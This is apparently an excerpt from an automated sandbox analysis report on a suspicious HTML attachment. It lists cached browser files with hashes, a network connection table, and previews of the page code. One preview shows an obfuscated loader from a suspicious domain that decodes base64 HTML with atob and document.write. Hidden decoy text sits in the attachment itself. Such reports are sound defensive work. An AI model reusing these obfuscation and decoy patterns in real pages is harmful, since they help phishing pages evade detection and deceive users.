SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
URL:	https://ugrssk2xcnmyafkbur3ma854zqoajfwne1fjkqg37ynrm8rpseo.diblethe.com/539977775575586577HoxufoYVCQOLDQGFXGMZEQOIITJBSUOIJQZQAKITIRDRGTSI
Preview:	1

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65447)
Category:	dropped
Size (bytes):	89501
Entropy (8bit):	5.289893677458563
Encrypted:	false
SSDEEP:	1536:DjExXUqJnxDjoXEZxkMV4QYSt0zvDL6gP3h8cApwEIOzVTB/UjPazMdLiX4mQ1v9:DIh8GgP3hujzwbhd3XvSiDQ47GKn
MD5:	8FB8FEE4FCC3CC86FF6C724154C49C42
SHA1:	B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
SHA-256:	FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
SHA-512:	F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
Malicious:	false
Preview:	/! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47459)
Category:	dropped
Size (bytes):	47460
Entropy (8bit):	5.397735966179774
Encrypted:	false
SSDEEP:	768:mLCcfjNm527JH/2V9d7ch8QMQvjdDdSzCTLo5RP8X60Yo6z63H1KCZwinCb+I298:mxNmeJH/e9d7cqK+CT0Q6zmL8
MD5:	5D332FD1AE9FEB79A10425DFC3F84FE4
SHA1:	C7D7F9D2BF5EE08E242765803CDD3A223FE1CBFC
SHA-256:	2EA786910282DF7AE154A0011375CD1254ADBD8EF0E75EB62177ADA67DAF9611
SHA-512:	01CDAC8103290B0FC1BF9BE8EE3923BFA6B8AD7778FF6B4716E421D6BBB3382240D9316B9994D6F4EA87E67DA9791EB8E3E2A1AAF81DBD749B3C8D7778E15F20
Malicious:	false
Preview:	"use strict";(function(){function Wt(e,r,n,o,c,l,h){try{var f=e[l](h),p=f.value}catch(s){n(s);return}f.done?r(p):Promise.resolve(p).then(o,c)}function Ht(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var l=e.apply(r,n);function h(p){Wt(l,o,c,h,f,"next",p)}function f(p){Wt(l,o,c,h,f,"throw",p)}h(void 0)})}}function V(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):V(e,r)}function Me(e,r,n){return r in e?Object.defineProperty(e,r,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[r]=n,e}function Fe(e){for(var r=1;r<arguments.length;r++){var n=arguments[r]!=null?arguments[r]:{},o=Object.keys(n);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(n).filter(function(c){return Object.getOwnPropertyDescriptor(n,c).enumerable}))),o.forEach(function(c){Me(e,c,n[c])})}return e}function Ar(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 27, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	4.068159130770306
Encrypted:	false
SSDEEP:	3:yionv//thPl8Yu/TBxl/k4E08up:6v/lhPqYGTB7Tp
MD5:	EA24767E5EAF2BC7348B01A9D17FD726
SHA1:	31570E5D13EC3839FB1BD4E7162523AF7C248E3F
SHA-256:	2E8A2AC99472D3041EE34CCFDD49767372B78243FA10ADFA7BB78D438B62B35F
SHA-512:	0D1D8A005E46A2606F0B384C70565FA47D8BA714E529B024B1BB96646B5994D9AB4B6C3B9816CC1082937D89B8D2AA1CFA744F58A956E45604BE4E0FA48A14DB
Malicious:	false
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/i/8d0f56a70cadc3ff/1728654830321/Brmsrk1UDqp3rhl
Preview:	.PNG........IHDR...0............%....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47992), with no line terminators
Category:	dropped
Size (bytes):	47992
Entropy (8bit):	5.605846858683577
Encrypted:	false
SSDEEP:	768:LuxoaUN4+OIhwP53+e0QfA31jQM9OT81NHv4rnwfe:LuxoaU2+LwB2+G1ZdvCwfe
MD5:	CF3402D7483B127DED4069D651EA4A22
SHA1:	BDE186152457CACF9C35477B5BDDA5BCB56B1F45
SHA-256:	EAB5D90A71736F267AF39FDF32CAA8C71673FD06703279B01E0F92B0D7BE0BFC
SHA-512:	9CE42EBC3F672A2AEFC4376F43D38CA9ED9D81AA5B3C1EEF60032BCC98A1C399BE68D71FD1D5F9DE6E98C4CE0B800F6EF1EF5E83D417FBFFA63EEF2408DA55D8
Malicious:	false
Preview:	!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var h,t,e,r,i,n,f,o,s,c,a,l,d,m,x,b,H,z,A,u,p,_,v,y,g,B,w,k,S,C,D,E,R,M,F,P,W,O,I,U,K,X,L,j,N,T,q,Z,V,G,J,$,Q,Y,tt,et,rt,it,nt,ot,st,ct,at,ht,lt,ft,dt,ut,pt,_t,vt,yt,gt,Bt,wt,kt,St,bt=bt\|\|function(l){var t;if("undefined"!=typeof window&&window.crypto&&(t=window.crypto),!t&&"undefined"!=typeof window&&window.msCrypto&&(t=window.msCrypto),!t&&"undefined"!=typeof global&&global.crypto&&(t=global.crypto),!t&&"function"==typeof require)try{t=require("crypto")}catch(t){}function i(){if(t){if("function"==typeof t.getRandomValues)try{return t.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof t.randomBytes)try{return t.randomBytes(4).readInt32LE()}catch(t){}}throw new Error("Native crypto module could not be used to get secure random number.")}var r=Object.create\|\|function(t){var e;return n.prototype=t,e=new n,n.prototype=null

Chrome Cache Entry: 85

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47992), with no line terminators
Category:	downloaded
Size (bytes):	47992
Entropy (8bit):	5.605846858683577
Encrypted:	false
SSDEEP:	768:LuxoaUN4+OIhwP53+e0QfA31jQM9OT81NHv4rnwfe:LuxoaU2+LwB2+G1ZdvCwfe
MD5:	CF3402D7483B127DED4069D651EA4A22
SHA1:	BDE186152457CACF9C35477B5BDDA5BCB56B1F45
SHA-256:	EAB5D90A71736F267AF39FDF32CAA8C71673FD06703279B01E0F92B0D7BE0BFC
SHA-512:	9CE42EBC3F672A2AEFC4376F43D38CA9ED9D81AA5B3C1EEF60032BCC98A1C399BE68D71FD1D5F9DE6E98C4CE0B800F6EF1EF5E83D417FBFFA63EEF2408DA55D8
Malicious:	false
URL:	https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js
Preview:	!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var h,t,e,r,i,n,f,o,s,c,a,l,d,m,x,b,H,z,A,u,p,_,v,y,g,B,w,k,S,C,D,E,R,M,F,P,W,O,I,U,K,X,L,j,N,T,q,Z,V,G,J,$,Q,Y,tt,et,rt,it,nt,ot,st,ct,at,ht,lt,ft,dt,ut,pt,_t,vt,yt,gt,Bt,wt,kt,St,bt=bt\|\|function(l){var t;if("undefined"!=typeof window&&window.crypto&&(t=window.crypto),!t&&"undefined"!=typeof window&&window.msCrypto&&(t=window.msCrypto),!t&&"undefined"!=typeof global&&global.crypto&&(t=global.crypto),!t&&"function"==typeof require)try{t=require("crypto")}catch(t){}function i(){if(t){if("function"==typeof t.getRandomValues)try{return t.getRandomValues(new Uint32Array(1))[0]}catch(t){}if("function"==typeof t.randomBytes)try{return t.randomBytes(4).readInt32LE()}catch(t){}}throw new Error("Native crypto module could not be used to get secure random number.")}var r=Object.create\|\|function(t){var e;return n.prototype=t,e=new n,n.prototype=null

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48316), with no line terminators
Category:	downloaded
Size (bytes):	48316
Entropy (8bit):	5.6346993394709
Encrypted:	false
SSDEEP:	768:J1Z4iiyfiD78x6l42SWRV4HC0o10LEnM9OT81agZnEpnS:vZYDc6lXJd1mZpZEdS
MD5:	2CA03AD87885AB983541092B87ADB299
SHA1:	1A17F60BF776A8C468A185C1E8E985C41A50DC27
SHA-256:	8E3B0117F4DF4BE452C0B6AF5B8F0A0ACF9D4ADE23D08D55D7E312AF22077762
SHA-512:	13C412BD66747822C6938926DE1C52B0D98659B2ED48249471EC0340F416645EA9114F06953F1AE5F177DB03A5D62F1FB5D321B2C4EB17F3A1C865B0A274DC5C
Malicious:	false
URL:	https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js
Preview:	!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){var i;if("undefined"!=typeof window&&window.crypto&&(i=window.crypto),"undefined"!=typeof self&&self.crypto&&(i=self.crypto),!(i=!(i=!(i="undefined"!=typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create\|\|function(t){return e.prototype=t,t=new e,e.prototype=null,t};function e(){}var t={},n=t.lib={},o=n.Base={extend:function(t){var e=r(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init\|\|(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1651
Entropy (8bit):	4.134836278727537
Encrypted:	false
SSDEEP:	48:dvjGC2U8pq45Qog4RVgcj5d1Amxvy6xMXG7DVM:JGC2UN2lVImBx97DVM
MD5:	6247637576BF7D9282AB8E5B3AEA7B0A
SHA1:	BA01916A6FC2192610BAC7639F37828B2A3859EF
SHA-256:	26315778F8A273A9F1D05C98A18B2F7F89327DAB9EB71111D39D8AF30127D8EF
SHA-512:	CA04C095922B19E4BBC5B0BBFB3AB9CE6C857EEA0CBF8AA9338FAB73F6278DAAD7B096E03A9D8567498CD3627207A6E926B7FF41EE1C1548655193183AF470D2
Malicious:	false
URL:	https://community.sephora.com/html/assets/img_community-logo.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 435.2 1000 129.6"><path fill="none" d="M812.6 472.1c-2.2-20.1-27.4-18.6-32.2-18.6h-10.1V495c4.3.2 7.6.2 11.9.2 5.1 0 33 .7 30.4-23.1zM631.4 452.9c-28.7 0-44.9 21.2-44.9 47.1 0 26.1 16.2 47.1 44.9 47.1s44.9-21.2 44.9-47.1c0-26.1-16.4-47.1-44.9-47.1zM305.1 454.2h-10.8v44.3H307c11.4 0 34.8-1.1 33.5-23.5-.8-22.9-30.4-20.8-35.4-20.8zM944.3 458.3L924.9 519l39.9-.2-20.3-60.5"/><path d="M493.4 487.3h-62.8v-48.2h-19v122.4h19v-58h62.8v58h18.8V439.1h-18.8M308.1 438.7c-6.9-.2-20.9-.2-33.3-.2v122.9H294v-46.6c4.8 0 14.7-.4 22.7-.6 11.2-.2 40.4-5.8 40.2-39.5.3-38-41.8-36-48.8-36zm-1 59.8h-12.7v-44.3h10.8c5 0 34.5-2.2 35.4 20.7 1.2 22.5-22.1 23.6-33.5 23.6zM130.9 438.5l.2 122.9h77.1v-16h-57.9v-41.7h41c0-3.5-.2-8.6 0-15.3h-41v-33.5h57.9c-.2-9.7 0-16.4 0-16.4h-77.3zM18.8 468.5c0-20.1 26.6-20.9 42.3-8 5.4-15.5 5.8-16.6 5.8-16.6C21.1 421.9.2 451 .2 469.6c0 44.5 63.1 35 54 66.3-3.2 11.4-23.5 17.9-46.9 3.7-1.7 4.8-4.5 10.6-7.3 16.4 30.9 16.2 71 8.4 72.3-25

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1651
Entropy (8bit):	4.134836278727537
Encrypted:	false
SSDEEP:	48:dvjGC2U8pq45Qog4RVgcj5d1Amxvy6xMXG7DVM:JGC2UN2lVImBx97DVM
MD5:	6247637576BF7D9282AB8E5B3AEA7B0A
SHA1:	BA01916A6FC2192610BAC7639F37828B2A3859EF
SHA-256:	26315778F8A273A9F1D05C98A18B2F7F89327DAB9EB71111D39D8AF30127D8EF
SHA-512:	CA04C095922B19E4BBC5B0BBFB3AB9CE6C857EEA0CBF8AA9338FAB73F6278DAAD7B096E03A9D8567498CD3627207A6E926B7FF41EE1C1548655193183AF470D2
Malicious:	false
Preview:	<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 435.2 1000 129.6"><path fill="none" d="M812.6 472.1c-2.2-20.1-27.4-18.6-32.2-18.6h-10.1V495c4.3.2 7.6.2 11.9.2 5.1 0 33 .7 30.4-23.1zM631.4 452.9c-28.7 0-44.9 21.2-44.9 47.1 0 26.1 16.2 47.1 44.9 47.1s44.9-21.2 44.9-47.1c0-26.1-16.4-47.1-44.9-47.1zM305.1 454.2h-10.8v44.3H307c11.4 0 34.8-1.1 33.5-23.5-.8-22.9-30.4-20.8-35.4-20.8zM944.3 458.3L924.9 519l39.9-.2-20.3-60.5"/><path d="M493.4 487.3h-62.8v-48.2h-19v122.4h19v-58h62.8v58h18.8V439.1h-18.8M308.1 438.7c-6.9-.2-20.9-.2-33.3-.2v122.9H294v-46.6c4.8 0 14.7-.4 22.7-.6 11.2-.2 40.4-5.8 40.2-39.5.3-38-41.8-36-48.8-36zm-1 59.8h-12.7v-44.3h10.8c5 0 34.5-2.2 35.4 20.7 1.2 22.5-22.1 23.6-33.5 23.6zM130.9 438.5l.2 122.9h77.1v-16h-57.9v-41.7h41c0-3.5-.2-8.6 0-15.3h-41v-33.5h57.9c-.2-9.7 0-16.4 0-16.4h-77.3zM18.8 468.5c0-20.1 26.6-20.9 42.3-8 5.4-15.5 5.8-16.6 5.8-16.6C21.1 421.9.2 451 .2 469.6c0 44.5 63.1 35 54 66.3-3.2 11.4-23.5 17.9-46.9 3.7-1.7 4.8-4.5 10.6-7.3 16.4 30.9 16.2 71 8.4 72.3-25

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (6477), with CRLF line terminators
Category:	downloaded
Size (bytes):	17850
Entropy (8bit):	5.909650379781333
Encrypted:	false
SSDEEP:	384:dnuHSW5ZS7+d0pRXOuAnuHSW5ZS7+d0pRXOudlr0lrF:LW5ZqqAedW5ZqqAe6lr0lrF
MD5:	D7C98AB15EFC512C1C6CB114DD420271
SHA1:	381B460EBE615BA4874393D5797D844B952C2875
SHA-256:	33293A67250568D0DC1A8E7899BA8E27C52B9389652753130D5801CAE131B84B
SHA-512:	D99E67FF47DC5DF3ED7DF4EE753C7992DD23040D66FA6CD29D54B582207B204085D2F7B282A8CCA5B370BF8CF5C25F3A93568CA4434710EAA053B29D233642C8
Malicious:	false
URL:	https://9q.iountanic.com/4rGra/
Preview:	I find that the harder I work, the more luck I seem to have. -->..<script>....if(atob("aHR0cHM6Ly85US5pb3VudGFuaWMuY29tLzRyR3JhLw==") == "nomatch"){..document.write(decodeURIComponent(escape(atob('PCFET0NUWVBFIGh0bWw+DQo8aHRtbCBsYW5nPSJlbiI+DQo8aGVhZD4NCiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20vanF1ZXJ5LTMuNi4wLm1pbi5qcyI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2hhbGxlbmdlcy5jbG91ZGZsYXJlLmNvbS90dXJuc3RpbGUvdjAvYXBpLmpzP3JlbmRlcj1leHBsaWNpdCI+PC9zY3JpcHQ+DQogICAgPHNjcmlwdCBzcmM9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2NyeXB0by1qcy80LjEuMS9jcnlwdG8tanMubWluLmpzIj48L3NjcmlwdD4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPUVkZ2UsY2hyb21lPTEiPg0KICAgIDxtZXRhIG5hbWU9InJvYm90cyIgY29udGVudD0ibm9pbmRleCwgbm9mb2xsb3ciPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU+JiM4MjAzOzwvdGl0bGU+DQogICAgPHN0eWxlPg0KYm9keSB7DQogIGJhY2tncm91bmQtY29sb3I6ICNmZmY7DQogIGhlaWdodD

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:	3:yionv//thPltV/CI7syxl/k4E08up:6v/lhPgI17Tp
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
URL:	https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/cmg/1/wh0E0SXYnx6pTBdJW%2Fl926I%2BPRUplRdtQz3K9lHXs%2Fs%3D
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Static File Info

General

File type:	HTML document, ASCII text, with very long lines (9900), with CRLF line terminators
Entropy (8bit):	3.9119406925321054
TrID:	HyperText Markup Language (6006/1) 100.00%
File name:	Audio.wavqvc.com10098.html
File size:	12'365 bytes
MD5:	87cd8fb18992ce172b596ce6b2dbea27
SHA1:	eeee0b3df286c3be26ed9d65d9fe4b188ab0650b
SHA256:	9e3b1917bf77b7c563b5732965acf0dd9035541510cc61b187f3ccd8905d7af9
SHA512:	3eca9034a66b2feb0075bc007eb5b984f2f15096aa61c8979a12128809daf65335f2964146c45f465d9e8f47e56f741ca90850dc17ecfda97a0521fcecc21bc6
SSDEEP:	192:guuMYDcRBQ2iAvgTwrEgoCvboe/lvA0dCt1TwS:RuMBzvEgoCv/zC5
TLSH:	F0425066AADB8B37090381375B3D8DFCE10195AC278122CD359D63BC23A7F1651E86F1
File Content Preview:	<html> <span> The musician tuned his instrument before the concert. </span> --><script>..</script>..<nav hidden style='display:none;'> The friends went on a road trip together. </nav> ..<script>..mandrill

File Icon


Icon Hash:	173149cccc490307

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 11, 2024 15:53:43.536968946 CEST	49701	443	192.168.2.17	69.49.245.172
Oct 11, 2024 15:53:43.537007093 CEST	443	49701	69.49.245.172	192.168.2.17
Oct 11, 2024 15:53:43.537075043 CEST	49701	443	192.168.2.17	69.49.245.172
Oct 11, 2024 15:53:43.537344933 CEST	49701	443	192.168.2.17	69.49.245.172
Oct 11, 2024 15:53:43.537362099 CEST	443	49701	69.49.245.172	192.168.2.17
Oct 11, 2024 15:53:44.059554100 CEST	443	49701	69.49.245.172	192.168.2.17
Oct 11, 2024 15:53:44.063131094 CEST	49701	443	192.168.2.17	69.49.245.172
Oct 11, 2024 15:53:44.063152075 CEST	443	49701	69.49.245.172	192.168.2.17
Oct 11, 2024 15:53:44.064299107 CEST	443	49701	69.49.245.172	192.168.2.17
Oct 11, 2024 15:53:44.064368010 CEST	49701	443	192.168.2.17	69.49.245.172
Oct 11, 2024 15:53:44.066195011 CEST	49701	443	192.168.2.17	69.49.245.172
Oct 11, 2024 15:53:44.066253901 CEST	443	49701	69.49.245.172	192.168.2.17
Oct 11, 2024 15:53:44.066869974 CEST	49701	443	192.168.2.17	69.49.245.172
Oct 11, 2024 15:53:44.066878080 CEST	443	49701	69.49.245.172	192.168.2.17
Oct 11, 2024 15:53:44.116244078 CEST	49701	443	192.168.2.17	69.49.245.172
Oct 11, 2024 15:53:44.197434902 CEST	443	49701	69.49.245.172	192.168.2.17
Oct 11, 2024 15:53:44.197457075 CEST	443	49701	69.49.245.172	192.168.2.17
Oct 11, 2024 15:53:44.197509050 CEST	443	49701	69.49.245.172	192.168.2.17
Oct 11, 2024 15:53:44.197526932 CEST	49701	443	192.168.2.17	69.49.245.172
Oct 11, 2024 15:53:44.197566986 CEST	49701	443	192.168.2.17	69.49.245.172
Oct 11, 2024 15:53:44.199640989 CEST	49701	443	192.168.2.17	69.49.245.172
Oct 11, 2024 15:53:44.199652910 CEST	443	49701	69.49.245.172	192.168.2.17
Oct 11, 2024 15:53:44.226244926 CEST	49702	443	192.168.2.17	69.49.245.172
Oct 11, 2024 15:53:44.226283073 CEST	443	49702	69.49.245.172	192.168.2.17
Oct 11, 2024 15:53:44.226391077 CEST	49702	443	192.168.2.17	69.49.245.172
Oct 11, 2024 15:53:44.227166891 CEST	49703	443	192.168.2.17	104.17.25.14
Oct 11, 2024 15:53:44.227215052 CEST	443	49703	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:44.227281094 CEST	49703	443	192.168.2.17	104.17.25.14
Oct 11, 2024 15:53:44.227400064 CEST	49702	443	192.168.2.17	69.49.245.172
Oct 11, 2024 15:53:44.227416039 CEST	443	49702	69.49.245.172	192.168.2.17
Oct 11, 2024 15:53:44.227590084 CEST	49703	443	192.168.2.17	104.17.25.14
Oct 11, 2024 15:53:44.227605104 CEST	443	49703	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:44.244247913 CEST	49677	443	192.168.2.17	204.79.197.200
Oct 11, 2024 15:53:44.244247913 CEST	49678	443	192.168.2.17	204.79.197.200
Oct 11, 2024 15:53:44.244282961 CEST	49676	443	192.168.2.17	204.79.197.200
Oct 11, 2024 15:53:44.690742970 CEST	443	49703	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:44.691004038 CEST	49703	443	192.168.2.17	104.17.25.14
Oct 11, 2024 15:53:44.691068888 CEST	443	49703	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:44.691993952 CEST	443	49703	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:44.692059040 CEST	49703	443	192.168.2.17	104.17.25.14
Oct 11, 2024 15:53:44.692917109 CEST	49703	443	192.168.2.17	104.17.25.14
Oct 11, 2024 15:53:44.692981005 CEST	443	49703	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:44.693077087 CEST	49703	443	192.168.2.17	104.17.25.14
Oct 11, 2024 15:53:44.693090916 CEST	443	49703	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:44.736283064 CEST	49703	443	192.168.2.17	104.17.25.14
Oct 11, 2024 15:53:44.742737055 CEST	443	49702	69.49.245.172	192.168.2.17
Oct 11, 2024 15:53:44.742950916 CEST	49702	443	192.168.2.17	69.49.245.172
Oct 11, 2024 15:53:44.742966890 CEST	443	49702	69.49.245.172	192.168.2.17
Oct 11, 2024 15:53:44.743875980 CEST	443	49702	69.49.245.172	192.168.2.17
Oct 11, 2024 15:53:44.743935108 CEST	49702	443	192.168.2.17	69.49.245.172
Oct 11, 2024 15:53:44.744167089 CEST	49702	443	192.168.2.17	69.49.245.172
Oct 11, 2024 15:53:44.744225025 CEST	443	49702	69.49.245.172	192.168.2.17
Oct 11, 2024 15:53:44.744277954 CEST	49702	443	192.168.2.17	69.49.245.172
Oct 11, 2024 15:53:44.791403055 CEST	443	49702	69.49.245.172	192.168.2.17
Oct 11, 2024 15:53:44.798199892 CEST	49702	443	192.168.2.17	69.49.245.172
Oct 11, 2024 15:53:44.798218966 CEST	443	49702	69.49.245.172	192.168.2.17
Oct 11, 2024 15:53:44.830513954 CEST	443	49703	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:44.830554008 CEST	443	49703	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:44.830621958 CEST	443	49703	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:44.830625057 CEST	49703	443	192.168.2.17	104.17.25.14
Oct 11, 2024 15:53:44.830648899 CEST	443	49703	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:44.830674887 CEST	49703	443	192.168.2.17	104.17.25.14
Oct 11, 2024 15:53:44.830681086 CEST	443	49703	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:44.830694914 CEST	49703	443	192.168.2.17	104.17.25.14
Oct 11, 2024 15:53:44.830699921 CEST	443	49703	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:44.830760002 CEST	49703	443	192.168.2.17	104.17.25.14
Oct 11, 2024 15:53:44.830765009 CEST	443	49703	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:44.831361055 CEST	443	49703	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:44.831408024 CEST	49703	443	192.168.2.17	104.17.25.14
Oct 11, 2024 15:53:44.831419945 CEST	443	49703	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:44.846211910 CEST	49702	443	192.168.2.17	69.49.245.172
Oct 11, 2024 15:53:44.878201008 CEST	49703	443	192.168.2.17	104.17.25.14
Oct 11, 2024 15:53:44.878262043 CEST	443	49703	104.17.25.14	192.168.2.17
Oct 11, 2024 15:53:44.880247116 CEST	443	49702	69.49.245.172	192.168.2.17
Oct 11, 2024 15:53:44.880266905 CEST	443	49702	69.49.245.172	192.168.2.17
Oct 11, 2024 15:53:44.880371094 CEST	49702	443	192.168.2.17	69.49.245.172
Oct 11, 2024 15:53:44.880404949 CEST	443	49702	69.49.245.172	192.168.2.17
Oct 11, 2024 15:53:44.880532026 CEST	49702	443	192.168.2.17	69.49.245.172
Oct 11, 2024 15:53:44.880872965 CEST	49702	443	192.168.2.17	69.49.245.172
Oct 11, 2024 15:53:44.880892038 CEST	443	49702	69.49.245.172	192.168.2.17
Oct 11, 2024 15:53:44.917896986 CEST	443	49703	104.17.25.14	192.168.2.17
